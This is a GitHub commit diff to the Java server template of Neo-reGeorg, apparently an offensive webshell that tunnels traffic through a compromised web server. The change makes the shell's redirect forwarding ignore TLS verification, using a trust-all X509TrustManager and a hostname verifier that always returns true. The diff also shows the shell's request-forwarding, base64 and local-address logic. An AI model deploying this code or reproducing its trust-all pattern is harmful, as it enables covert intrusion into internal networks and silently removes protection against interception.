Skip to content

Commit 91f8ddc

Browse files
committed
ignore redirect ssl verify
1 parent 4cf00dc commit 91f8ddc

File tree

3 files changed

+39
-4
lines changed

3 files changed

+39
-4
lines changed

templates/NeoreGeorg.java

Lines changed: 37 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,17 +12,21 @@
1212
import java.util.Collections;
1313
import java.util.Enumeration;
1414
import java.util.List;
15+
import java.security.cert.CertificateException;
16+
import java.security.cert.X509Certificate;
17+
import javax.net.ssl.*;
1518

1619
/**
1720
* @Modifier c0ny1, L
1821
* @CreateDate 2021-08-17
1922
* @Description 将Neo-reGeorg jsp服务端改为java代码,提高兼容性
2023
*/
2124

22-
public class NeoreGeorg {
25+
public class NeoreGeorg implements HostnameVerifier,X509TrustManager {
2326
private char[] en;
2427
private byte[] de;
2528

29+
2630
@Override
2731
public boolean equals(Object obj) {
2832
try {
@@ -61,11 +65,19 @@ public boolean equals(Object obj) {
6165
if (rUrl != null) {
6266
rUrl = new String(b64de(rUrl));
6367
if (!islocal(rUrl)){
64-
// ssl verify is not ignored
6568
response.reset();
6669
String method = request.getMethod();
6770
URL u = new URL(rUrl);
6871
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
72+
73+
// ignore ssl verify
74+
if (HttpsURLConnection.class.isInstance(conn)){
75+
((HttpsURLConnection)conn).setHostnameVerifier(this);
76+
SSLContext ctx = SSLContext.getInstance("SSL");
77+
ctx.init(null, new TrustManager[] { this }, null);
78+
((HttpsURLConnection)conn).setSSLSocketFactory(ctx.getSocketFactory());
79+
}
80+
6981
conn.setRequestMethod(method);
7082
conn.setDoOutput(true);
7183

@@ -230,6 +242,7 @@ public boolean equals(Object obj) {
230242
return false;
231243
}
232244

245+
233246
public String b64en(byte[] data) {
234247
StringBuffer sb = new StringBuffer();
235248
int len = data.length;
@@ -311,6 +324,7 @@ public byte[] b64de(String str) {
311324
return buf.toByteArray();
312325
}
313326

327+
314328
static String headerkey(String str) throws Exception {
315329
String out = "";
316330
for (String block: str.split("-")) {
@@ -320,6 +334,7 @@ static String headerkey(String str) throws Exception {
320334
return out.substring(0, out.length() - 1);
321335
}
322336

337+
323338
boolean islocal(String url) throws Exception {
324339
String ip = (new URL(url)).getHost();
325340
Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();
@@ -335,4 +350,24 @@ boolean islocal(String url) throws Exception {
335350
}
336351
return false;
337352
}
353+
354+
355+
public boolean verify(String s, SSLSession sslSession) {
356+
return true;
357+
}
358+
359+
360+
public void checkClientTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {
361+
362+
}
363+
364+
365+
public void checkServerTrusted(X509Certificate[] x509Certificates, String s) throws CertificateException {
366+
367+
}
368+
369+
370+
public X509Certificate[] getAcceptedIssuers() {
371+
return new X509Certificate[0];
372+
}
338373
}

0 commit comments

Comments
 (0)